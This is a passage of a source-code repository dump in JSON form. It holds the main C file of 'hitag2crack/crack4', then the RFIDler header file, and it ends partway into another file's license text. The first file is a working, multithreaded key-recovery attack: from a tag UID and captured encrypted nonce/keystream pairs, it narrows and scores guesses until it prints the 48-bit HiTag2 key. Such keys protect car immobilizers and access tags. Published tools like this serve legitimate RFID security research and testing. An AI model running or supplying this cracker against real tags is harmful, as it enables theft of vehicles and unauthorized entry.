}\n}\n\n\n/* score_traces runs score for each encrypted nonce */\nvoid score_traces(struct guess *g, unsigned int size)\n{\n    uint64_t lfsr;\n    unsigned int i;\n    double sc;\n    double total_score = 0.0;\n\n    // don't bother scoring traces that are already losers\n    if (g->score == 0.0) {\n        return;\n    }\n\n    for (i=0; i<num_nRaR; i++) {\n        // calc next b\n        // create lfsr - lower 32 bits is uid, upper 16 bits are lower 16 bits of key\n        // then shift by size - 16, insert upper key XOR enc_nonce XOR bitstream,\n        // and calc new bit b\n        lfsr = (uid >> (size - 16)) | ((g->key << (48 - size)) ^\n            ((nonces[i].enc_nR ^ g->b0to31[i]) << (64 - size)));\n        g->b0to31[i] = g->b0to31[i] | (ht2crypt(lfsr) << (size - 16));\n\n        // create lfsr - lower 16 bits are lower 16 bits of key\n        // bits 16-47 are upper bits of key XOR enc_nonce XOR bitstream\n        lfsr = g->key ^ ((nonces[i].enc_nR ^ g->b0to31[i]) << 16);\n\n        sc = score(lfsr, size, nonces[i].ks, 32);\n\n        // look out for losers\n        if (sc == 0.0) {\n            g->score = 0.0;\n            return;\n        }\n        total_score = total_score + sc;\n    }\n\n    // save average score\n    g->score = total_score / num_nRaR;\n\n}\n\n\n/* score_all_traces runs score_traces for every key guess in the table */\n/* this was used in the non-threaded version */\n/*\nvoid score_all_traces(unsigned int size)\n{\n    unsigned int i;\n\n    for (i=0; i<num_guesses; i++) {\n        score_traces(&(guesses[i]), size);\n    }\n}\n*/\n\n/* score_some_traces runs score_traces for every key guess in a section of the table */\nvoid *score_some_traces(void *data)\n{\n    unsigned int i;\n    struct thread_data *tdata = (struct thread_data *)data;\n\n    for (i=tdata->start; i<tdata->end; i++) {\n        score_traces(&(guesses[i]), tdata->size);\n    }\n\n    return NULL;\n}\n\n\n/* score_all_traces runs score_traces for every key guess in the table */\nvoid score_all_traces(unsigned int size)\n{\n    pthread_t threads[NUM_THREADS];\n    void *status;\n    struct thread_data tdata[NUM_THREADS];\n    unsigned int i;\n    unsigned int chunk_size;\n\n    chunk_size = num_guesses / NUM_THREADS;\n\n    // create thread data\n    for (i=0; i<NUM_THREADS; i++) {\n        tdata[i].start = i * chunk_size;\n        tdata[i].end = (i+1) * chunk_size;\n        tdata[i].size = size;\n    }\n\n    // fix last chunk\n    tdata[NUM_THREADS - 1].end = num_guesses;\n\n    // start the threads\n    for (i=0; i<NUM_THREADS; i++) {\n        if (pthread_create(&(threads[i]), NULL, score_some_traces, (void *)(tdata + i))) {\n            printf(\"cannot start thread %d\\n\", i);\n            exit(1);\n        }\n    }\n\n    // wait for threads to end\n    for (i=0; i<NUM_THREADS; i++) {\n        if (pthread_join(threads[i], &status)) {\n            printf(\"cannot join thread %d\\n\", i);\n            exit(1);\n        }\n    }\n}\n\n\n\n\n\n/* cmp_guess is the comparison function for qsorting the guess table */\nint cmp_guess(const void *a, const void *b)\n{\n    struct guess *a1 = (struct guess *)a;\n    struct guess *b1 = (struct guess *)b;\n\n    if (a1->score < b1->score) {\n        return 1;\n    } else if (a1->score > b1->score) {\n        return -1;\n    } else {\n        return 0;\n    }\n}\n\n\n/* expand all guesses in first half of (sorted) table by\n * copying them into the second half and extending the copied\n * ones with an extra 1, leaving the first half with an extra 0 */\nvoid expand_guesses(unsigned int halfsize, unsigned int size)\n{\n    unsigned int i, j;\n\n    for (i=0; i<halfsize; i++) {\n        guesses[i+halfsize].key = guesses[i].key | (1l << size);\n        guesses[i+halfsize].score = guesses[i].score;\n        for (j=0; j<num_nRaR; j++) {\n            guesses[i+halfsize].b0to31[j] = guesses[i].b0to31[j];\n        }\n    }\n}\n\n\n/* checks if the supplied test key is still in the table, which\n * is useful when testing different scoring methods */\nvoid check_supplied_testkey(unsigned int size)\n{\n    uint64_t partkey;\n    unsigned int i;\n\n    partkey = supplied_testkey & ((1l << size) - 1);\n\n    for (i=0; i<num_guesses; i++) {\n        if (guesses[i].key == partkey) {\n            fprintf(stderr, \" supplied test key score = %1.10f, position = %d\\n\", guesses[i].score, i);\n            return;\n        }\n    }\n\n    fprintf(stderr, \"TEST KEY NO LONGER IN GUESSES\\n\");\n    exit(1);\n}\n\n\n/* execute_round scores the guesses, sorts them and expands the good half */\nvoid execute_round(unsigned int size)\n{\n    unsigned int halfsize;\n\n    // score all the current guesses\n    score_all_traces(size);\n\n    // sort the guesses by score\n    qsort(guesses, num_guesses, sizeof(struct guess), cmp_guess);\n\n    if (supplied_testkey) {\n        check_supplied_testkey(size);\n    }\n\n    // identify limit\n    if (num_guesses < (maxtablesize / 2)) {\n        halfsize = num_guesses;\n    } else {\n        halfsize = (maxtablesize / 2);\n    }\n\n    // expand guesses\n    expand_guesses(halfsize, size);\n\n    num_guesses = halfsize * 2;\n}\n\n\n/* crack is the main cracking algo; it executes the rounds */\nvoid crack()\n{\n    unsigned int i;\n    uint64_t revkey;\n    uint64_t foundkey;\n\n    for (i=16; i<=48; i++) {\n        fprintf(stderr, \"round %2d, size=%2d\\n\", i-16, i);\n        execute_round(i);\n\n        // print some metrics\n        revkey = rev64(guesses[0].key);\n        foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);\n        fprintf(stderr, \" guess=%012\" PRIx64 \", num_guesses = %d, top score=%1.10f, min score=%1.10f\\n\", foundkey, num_guesses, guesses[0].score, guesses[num_guesses - 1].score);\n    }\n}\n\n\n/* test function to make sure I know how the LFSR works */\nvoid testkey(uint64_t key)\n{\n    uint64_t i;\n    uint64_t b0to31 = 0;\n    uint64_t ks = 0;\n    uint64_t lfsr;\n    uint64_t nRxorkey;\n    Hitag_State hstate;\n\n    printf(\"ORIG REFERENCE\\n\");\n    hitag2_init(&hstate, key, uid, nonces[0].enc_nR);\n    printf(\"after init with key, uid, nR:\\n\");\n    printstate(&hstate);\n    b0to31 = 0;\n    for (i=0; i<32; i++) {\n        b0to31 = (b0to31 >> 1) | (hitag2_nstep(&hstate, 1) << 31);\n    }\n    printf(\"ks = 0x%08\" PRIx64 \", enc_aR = 0x%08\" PRIx64 \", aR = 0x%08\" PRIx64 \"\\n\", b0to31, nonces[0].ks ^ 0xffffffff, nonces[0].ks ^ 0xffffffff ^ b0to31);\n    printstate(&hstate);\n\n    printf(\"\\n\");\n\n\n    printf(\"MY REFERENCE\\n\");\n    // build initial lfsr\n    lfsr = uid | ((key & 0xffff) << 32);\n    b0to31 = 0;\n    // xor upper part of key with encrypted nonce\n    nRxorkey = nonces[0].enc_nR ^ (key >> 16);\n    // insert keyupper xor encrypted nonce xor ks\n    for (i=0; i<32; i++) {\n        // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31\n        b0to31 = (b0to31 >> 1) | (ht2crypt(lfsr) << 31);\n        // insert new bit\n        lfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((b0to31 >> 31) & 0x1)) << 48);\n        // shift lfsr\n        lfsr = lfsr >> 1;\n    }\n    printf(\"after init with key, uid, nR:\\n\");\n    printf(\"lfsr =\\t\\t\");\n    printbin2(lfsr, 48);\n    printf(\"\\n\");\n\n    // iterate lfsr with fnL, extracting ks\n    for (i=0; i<32; i++) {\n        // store ks - when done, the first ks bit will be bit 0 and the last will be bit 31\n        ks = (ks >> 1) | (ht2crypt(lfsr) << 31);\n        // insert new bit\n        lfsr = lfsr | (fnL(lfsr) << 48);\n        // shift lfsr\n        lfsr = lfsr >> 1;\n    }\n\n    printf(\"ks = 0x%08\" PRIx64 \", aR = 0x%08\" PRIx64 \", ks(orig) = 0x%08\" PRIx64 \", aR(orig) = %08\" PRIx64 \"\\n\", ks, ks ^ 0xffffffff, nonces[0].ks, nonces[0].ks ^ 0xffffffff);\n    printf(\"lfsr = \\t\\t\");\n    printbin2(lfsr, 48);\n    printf(\"\\n\\n\");\n}\n\n\n/* test function to generate test data */\nvoid gen_bitstreams_testks(struct guess *g, uint64_t key)\n{\n\tunsigned int i, j;\n\tuint64_t nRxorkey, lfsr, ks;\n\n\tfor (j=0; j<num_nRaR; j++) {\n\n\t\t// build initial lfsr\n\t\tlfsr = uid | ((key & 0xffff) << 32);\n\t\tg->b0to31[j] = 0;\n\t\t// xor upper part of key with encrypted nonce\n\t\tnRxorkey = nonces[j].enc_nR ^ (key >> 16);\n\t\t// insert keyupper xor encrypted nonce xor ks\n\t\tfor (i=0; i<32; i++) {\n\t\t\t// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31\n\t\t\tg->b0to31[j] = (g->b0to31[j] >> 1) | (ht2crypt(lfsr) << 31);\n\t\t\t// insert new bit\n\t\t\tlfsr = lfsr | ((((nRxorkey >> i) & 0x1) ^ ((g->b0to31[j] >> 31) & 0x1)) << 48);\n\t\t\t// shift lfsr\n\t\t\tlfsr = lfsr >> 1;\n\t\t}\n\n        ks = 0;\n\t\t// iterate lfsr with fnL, extracting ks\n\t\tfor (i=0; i<32; i++) {\n\t\t\t// store ks - when done, the first ks bit will be bit 0 and the last will be bit 31\n\t\t\tks = (ks >> 1) | (ht2crypt(lfsr) << 31);\n\t\t\t// insert new bit\n\t\t\tlfsr = lfsr | (fnL(lfsr) << 48);\n\t\t\t// shift lfsr\n\t\t\tlfsr = lfsr >> 1;\n\t\t}\n\n        printf(\"orig ks = 0x%08\" PRIx64 \", gen ks = 0x%08\" PRIx64 \", b0to31 = 0x%08\" PRIx64 \"\\n\", nonces[j].ks, ks, g->b0to31[j]);\n        if (nonces[j].ks != ks) {\n            printf(\" FAIL!\\n\");\n        }\n    }\n}\n\n\n/* test function */\nvoid test()\n{\n    uint64_t lfsr;\n    uint64_t packed;\n\n    uint64_t i;\n\n\n    for (i=0; i<1000; i++) {\n        lfsr = ((uint64_t)rand() << 32) | rand();\n        packed = packstate(lfsr);\n\n        if (hitag2_crypt(lfsr) != f20(packed)) {\n            printf(\" * * * FAIL: %3\" PRIu64 \": 0x%012\" PRIx64 \" = %d, 0x%012\" PRIx64 \" = 0x%05\" PRIx64 \"\\n\", i, lfsr, hitag2_crypt(lfsr), packed, f20(packed));\n        }\n    }\n\n    printf(\"test done\\n\");\n}\n\n\n/* check_key tests the potential key against an encrypted nonce, ks pair */\nint check_key(uint64_t key, uint64_t enc_nR, uint64_t ks)\n{\n    Hitag_State hstate;\n    uint64_t bits;\n    int i;\n\n    hitag2_init(&hstate, key, uid, enc_nR);\n    bits = 0;\n    for (i=0; i<32; i++) {\n        bits = (bits >> 1) | (hitag2_nstep(&hstate, 1) << 31);\n    }\n    if (ks == bits) {\n        return 1;\n    } else {\n        return 0;\n    }\n}\n\n\n/* start up */\nint main(int argc, char *argv[])\n{\n    unsigned int i;\n    uint64_t revkey;\n    uint64_t foundkey;\n    int tot_nRaR = 0;\n    char c;\n    char *uidstr = NULL;\n    char *noncefilestr = NULL;\n\n//    test();\n//    exit(0);\n\n    while ((c = getopt(argc, argv, \"u:n:N:t:T:h\")) != -1) {\n        switch(c) {\n            case 'u':\n                uidstr = optarg;\n                break;\n            case 'n':\n                noncefilestr = optarg;\n                break;\n            case 'N':\n                tot_nRaR = atoi(optarg);\n                break;\n            case 't':\n                maxtablesize = atoi(optarg);\n                break;\n            case 'T':\n                supplied_testkey = rev64(hexreversetoulonglong(optarg));\n                break;\n            case 'h':\n                usage();\n                break;\n            default:\n                usage();\n        }\n    }\n\n    if (!uidstr || !noncefilestr || (maxtablesize <= 0)) {\n        usage();\n    }\n\n    create_guess_table();\n\n    init_guess_table(noncefilestr, uidstr);\n\n    if ((tot_nRaR > 0) && (tot_nRaR <= num_nRaR)) {\n        num_nRaR = tot_nRaR;\n    }\n    fprintf(stderr, \"Using %d nRaR pairs\\n\", num_nRaR);\n\n    crack();\n\n    // test all key guesses and stop if one works\n    for (i=0; i<num_guesses; i++) {\n        if (check_key(guesses[i].key, nonces[0].enc_nR, nonces[0].ks) &&\n                check_key(guesses[i].key, nonces[1].enc_nR, nonces[1].ks)) {\n            printf(\"WIN!!! :)\\n\");\n            revkey = rev64(guesses[i].key);\n            foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);\n            printf(\"key = %012\" PRIX64 \"\\n\", foundkey);\n            exit(0);\n        }\n    }\n\n    printf(\"FAIL :( - none of the potential keys in the table are correct.\\n\");\n    exit(1);\n    return 0;\n}\n\n\n\n"
  },
  {
    "path": "hitag2crack/crack4/rfidler.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include <stdio.h>\n#include <string.h>\n\n// BCD hardware revision for usb descriptor (usb_descriptors.c)\n#define RFIDLER_HW_VERSION        0x020\n\n// max sizes in BITS\n#define MAXBLOCKSIZE        512\n#define MAXTAGSIZE          4096\n#define MAXUID              512\n\n#define TMP_LARGE_BUFF_LEN  2048\n#define TMP_SMALL_BUFF_LEN  256\n#define ANALOGUE_BUFF_LEN   8192\n\n#define COMMS_BUFFER_SIZE   128\n\n#define DETECT_BUFFER_SIZE  512\n\n#define SAMPLEMASK          ~(BIT_1 | BIT_0)    // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period\n\n// globals\n\nextern BOOL             WiegandOutput;                      // Output wiegand data whenenver UID is read\nextern BYTE             *EMU_Reset_Data;                    // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*'  terminated\nextern BYTE             *EMU_Data;                          // Pointer to current location in EMU_Reset_Data\nextern BYTE             EMU_ThisBit;                        // The next data bit to transmit\nextern BYTE             EMU_SubCarrier_T0;                  // Number of Frame Clocks for sub-carrier '0'\nextern BYTE             EMU_SubCarrier_T1;                  // Number of Frame Clocks for sub-carrier '1'\nextern unsigned int     EMU_Repeat;                         // Number of times to transmit full data set\nextern BOOL             EMU_Background;                     // Emulate in the background until told to stop\nextern unsigned int     EMU_DataBitRate;                    // Number of Frame Clocks per bit\nextern BYTE             TmpBits[TMP_LARGE_BUFF_LEN];        // Shared scratchpad\nextern BYTE             ReaderPeriod;                       // Flag for sample display\nextern unsigned char    Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer\nextern BYTE             Interface;                          // user interface - CLI or API\nextern BYTE             CommsChannel;                       // user comms channel - USB or UART\nextern BOOL             FakeRead;                           // flag for analogue sampler to signal it wants access to buffers during read\nextern BOOL             PWD_Mode;                           // is this tag password protected?\nextern BYTE             Password[9];                        // 32 bits as HEX string set with LOGIN\nextern unsigned int     Led_Count;                          // LED status counter, also used for entropy\nextern unsigned long    Reader_Bit_Count;                   // Reader ISR bit counter\nextern char             Previous;                           // Reader ISR previous bit type\n\n// RWD (read/write device) coil state\nextern BYTE             RWD_State;                              // current state of RWD coil\nextern unsigned int     RWD_Fc;                                 // field clock in uS\nextern unsigned int     RWD_Gap_Period;                         // length of command gaps in OC5 ticks\nextern unsigned int     RWD_Zero_Period;                        // length of '0' in OC5 ticks\nextern unsigned int     RWD_One_Period;                         // length of '1' in OC5 ticks\nextern unsigned int     RWD_Sleep_Period;                       // length of initial sleep to reset tag in OC5 ticks\nextern unsigned int     RWD_Wake_Period;                        // length required for tag to restart in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_TX_RX;                  // length to wait when switching from TX to RX in OC5 ticks\nextern unsigned int     RWD_Wait_Switch_RX_TX;                  // length to wait when switching from RX to TX in OC5 ticks\nextern unsigned int     RWD_Post_Wait;                          // low level ISR wait period in OC5 ticks\nextern unsigned int     RWD_OC5_config;                         // Output Compare Module settings\nextern unsigned int     RWD_OC5_r;                              // Output Compare Module primary compare value\nextern unsigned int     RWD_OC5_rs;                             // Output Compare Module secondary compare value\nextern BYTE             RWD_Command_Buff[TMP_SMALL_BUFF_LEN];   // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated\nextern BYTE             *RWD_Command_ThisBit;                   // Current command bit\nextern BOOL             Reader_ISR_State;                       // current state of reader ISR\n\n// NVM variables\n// timings etc. that want to survive a reboot should go here\ntypedef struct {\n    BYTE            Name[7];  // will be set to \"RFIDler\" so we can test for new device\n    BYTE            AutoRun[128]; // optional command to run at startup\n    unsigned char   TagType;\n    unsigned int    PSK_Quality;\n    unsigned int    Timeout;\n    unsigned int    Wiegand_Pulse;\n    unsigned int    Wiegand_Gap;\n    BOOL            Wiegand_IdleState;\n    unsigned int    FrameClock;\n    unsigned char   Modulation;\n    unsigned int    DataRate;\n    unsigned int    DataRateSub0;\n    unsigned int    DataRateSub1;\n    unsigned int    DataBits;\n    unsigned int    DataBlocks;\n    unsigned int    BlockSize;\n    unsigned char   SyncBits;\n    BYTE            Sync[4];\n    BOOL            BiPhase;\n    BOOL            Invert;\n    BOOL            Manchester;\n    BOOL            HalfDuplex;\n    unsigned int    Repeat;\n    unsigned int    PotLow;\n    unsigned int    PotHigh;\n    unsigned int    RWD_Gap_Period;\n    unsigned int    RWD_Zero_Period;\n    unsigned int    RWD_One_Period;\n    unsigned int    RWD_Sleep_Period;\n    unsigned int    RWD_Wake_Period;\n    unsigned int    RWD_Wait_Switch_TX_RX;\n    unsigned int    RWD_Wait_Switch_RX_TX;\n} StoredConfig;\n\n// somewhere to store TAG data. this will be interpreted according to the TAG\n// type.\ntypedef struct {\n    BYTE   TagType;            // raw tag type\n    BYTE   EmulatedTagType;    // tag type this tag is configured to emulate\n    BYTE   UID[MAXUID + 1];    // Null-terminated HEX string\n    BYTE   Data[MAXTAGSIZE];   // raw data\n    unsigned char   DataBlocks;         // number of blocks in Data field\n    unsigned int    BlockSize;          // blocksize in bits\n} VirtualTag;\n\nextern StoredConfig RFIDlerConfig;\nextern VirtualTag RFIDlerVTag;\nextern BYTE TmpBuff[NVM_PAGE_SIZE];\nextern BYTE DataBuff[ANALOGUE_BUFF_LEN];\nextern unsigned int DataBuffCount;\nextern const BYTE *ModulationSchemes[];\nextern const BYTE *OnOff[];\nextern const BYTE *HighLow[];\nextern const BYTE *TagTypes[];\n\n// globals for ISRs\nextern BYTE EmulationMode;\nextern unsigned long HW_Bits;\nextern BYTE HW_Skip_Bits;\nextern unsigned int PSK_Min_Pulse;\nextern BOOL PSK_Read_Error;\nextern BOOL Manchester_Error;\nextern BOOL SnifferMode;\nextern unsigned int Clock_Tick_Counter;\nextern BOOL Clock_Tick_Counter_Reset;\n\n// smart card lib\n#define MAX_ATR_LEN\t\t\t(BYTE)33\nextern BYTE scCardATR[MAX_ATR_LEN];\nextern BYTE scATRLength;\n\n// RTC\nextern rtccTime\tRTC_time;\t\t\t// time structure\nextern rtccDate\tRTC_date;\t\t\t// date structure\n\n// digital pots\n#define POTLOW_DEFAULT      100\n#define POTHIGH_DEFAULT     150\n#define DC_OFFSET           60                 // analogue circuit DC offset (as close as we can get without using 2 LSB)\n#define VOLTS_TO_POT        0.019607843F\n\n// RWD/clock states\n#define                 RWD_STATE_INACTIVE              0       // RWD not in use\n#define                 RWD_STATE_GO_TO_SLEEP           1       // RWD coil shutdown request\n#define                 RWD_STATE_SLEEPING              2       // RWD coil shutdown for sleep period\n#define                 RWD_STATE_WAKING                3       // RWD active for pre-determined period after reset\n#define                 RWD_STATE_START_SEND            4       // RWD starting send of data\n#define                 RWD_STATE_SENDING_GAP           5       // RWD sending a gap\n#define                 RWD_STATE_SENDING_BIT           6       // RWD sending a data bit\n#define                 RWD_STATE_POST_WAIT             7       // RWD finished sending data, now in forced wait period\n#define                 RWD_STATE_ACTIVE                8       // RWD finished, now just clocking a carrier\n\n// reader ISR states\n#define                 READER_STOPPED                  0       // reader not in use\n#define                 READER_IDLING                   1       // reader ISR running to preserve timing, but not reading\n#define                 READER_RUNNING                  2       // reader reading bits\n\n\n// user interface types\n#define INTERFACE_API                   0\n#define INTERFACE_CLI                   1\n\n// comms channel\n#define COMMS_NONE                      0\n#define COMMS_USB                       1\n#define COMMS_UART                      2\n\n#define MAX_HISTORY                     2 // disable most of history for now - memory issue\n\n// tag write retries\n#define TAG_WRITE_RETRY                 5\n\n// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this\n#define MOD_MODE_NONE                   0\n#define MOD_MODE_ASK_OOK                1\n#define MOD_MODE_FSK1                   2\n#define MOD_MODE_FSK2                   3\n#define MOD_MODE_PSK1                   4\n#define MOD_MODE_PSK2                   5\n#define MOD_MODE_PSK3                   6\n\n// TAG types - update TagTypes[] in tags.c if you add to this list\n#define TAG_TYPE_NONE                   0\n#define TAG_TYPE_ASK_RAW                1\n#define TAG_TYPE_FSK1_RAW               2\n#define TAG_TYPE_FSK2_RAW               3\n#define TAG_TYPE_PSK1_RAW               4\n#define TAG_TYPE_PSK2_RAW               5\n#define TAG_TYPE_PSK3_RAW               6\n#define TAG_TYPE_HITAG1                 7\n#define TAG_TYPE_HITAG2                 8\n#define TAG_TYPE_EM4X02                 9\n#define TAG_TYPE_Q5                     10\n#define TAG_TYPE_HID_26                 11\n#define TAG_TYPE_INDALA_64              12\n#define TAG_TYPE_INDALA_224             13\n#define TAG_TYPE_UNIQUE                 14\n#define TAG_TYPE_FDXB                   15\n#define TAG_TYPE_T55X7                  16      // same as Q5 but different timings and no modulation-defeat\n#define TAG_TYPE_AWID_26                17\n#define TAG_TYPE_EM4X05                 18\n#define TAG_TYPE_TAMAGOTCHI             19\n#define TAG_TYPE_HDX                    20      // same underlying data as FDX-B, but different modulation & telegram \n\n// various\n\n#define BINARY                          0\n#define HEX                             1\n\n#define NO_ADDRESS                      -1\n\n#define ACK                             TRUE\n#define NO_ACK                          FALSE\n\n#define BLOCK                           TRUE\n#define NO_BLOCK                        FALSE\n\n#define DATA                            TRUE\n#define NO_DATA                         FALSE\n\n#define DEBUG_PIN_ON                    HIGH\n#define DEBUG_PIN_OFF                   LOW\n\n#define FAST                            FALSE\n#define SLOW                            TRUE\n\n#define NO_TRIGGER                      0\n\n#define LOCK                            TRUE\n#define NO_LOCK                         FALSE\n\n#define NFC_MODE                        TRUE\n#define NO_NFC_MODE                     FALSE\n\n#define ONESHOT_READ                    TRUE\n#define NO_ONESHOT_READ                 FALSE\n\n#define RESET                           TRUE\n#define NO_RESET                        FALSE\n\n#define SHUTDOWN_CLOCK                  TRUE\n#define NO_SHUTDOWN_CLOCK               FALSE\n\n#define SYNC                            TRUE\n#define NO_SYNC                         FALSE\n\n#define VERIFY                          TRUE\n#define NO_VERIFY                       FALSE\n\n#define VOLATILE                        FALSE\n#define NON_VOLATILE                    TRUE\n\n#define NEWLINE                         TRUE\n#define NO_NEWLINE                      FALSE\n\n#define WAIT                            TRUE\n#define NO_WAIT                         FALSE\n\n#define WIPER_HIGH                      0\n#define WIPER_LOW                       1\n\n// conversion for time to ticks\n#define US_TO_TICKS                     1000000L\n#define US_OVER_10_TO_TICKS             10000000L\n#define US_OVER_100_TO_TICKS            100000000L\n// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it\n#define CONVERT_TO_TICKS(x)             ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))\n#define CONVERT_TICKS_TO_US(x)          (x / (GetSystemClock() / US_TO_TICKS))\n#define TIMER5_PRESCALER                16\n#define MAX_TIMER5_TICKS                (65535 * TIMER5_PRESCALER)\n\n// other conversions\n\n// bits to hex digits\n#define HEXDIGITS(x)                    (x / 4)\n#define HEXTOBITS(x)                    (x * 4)\n"
  },
  {
    "path": "hitag2crack/crack4/util.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED 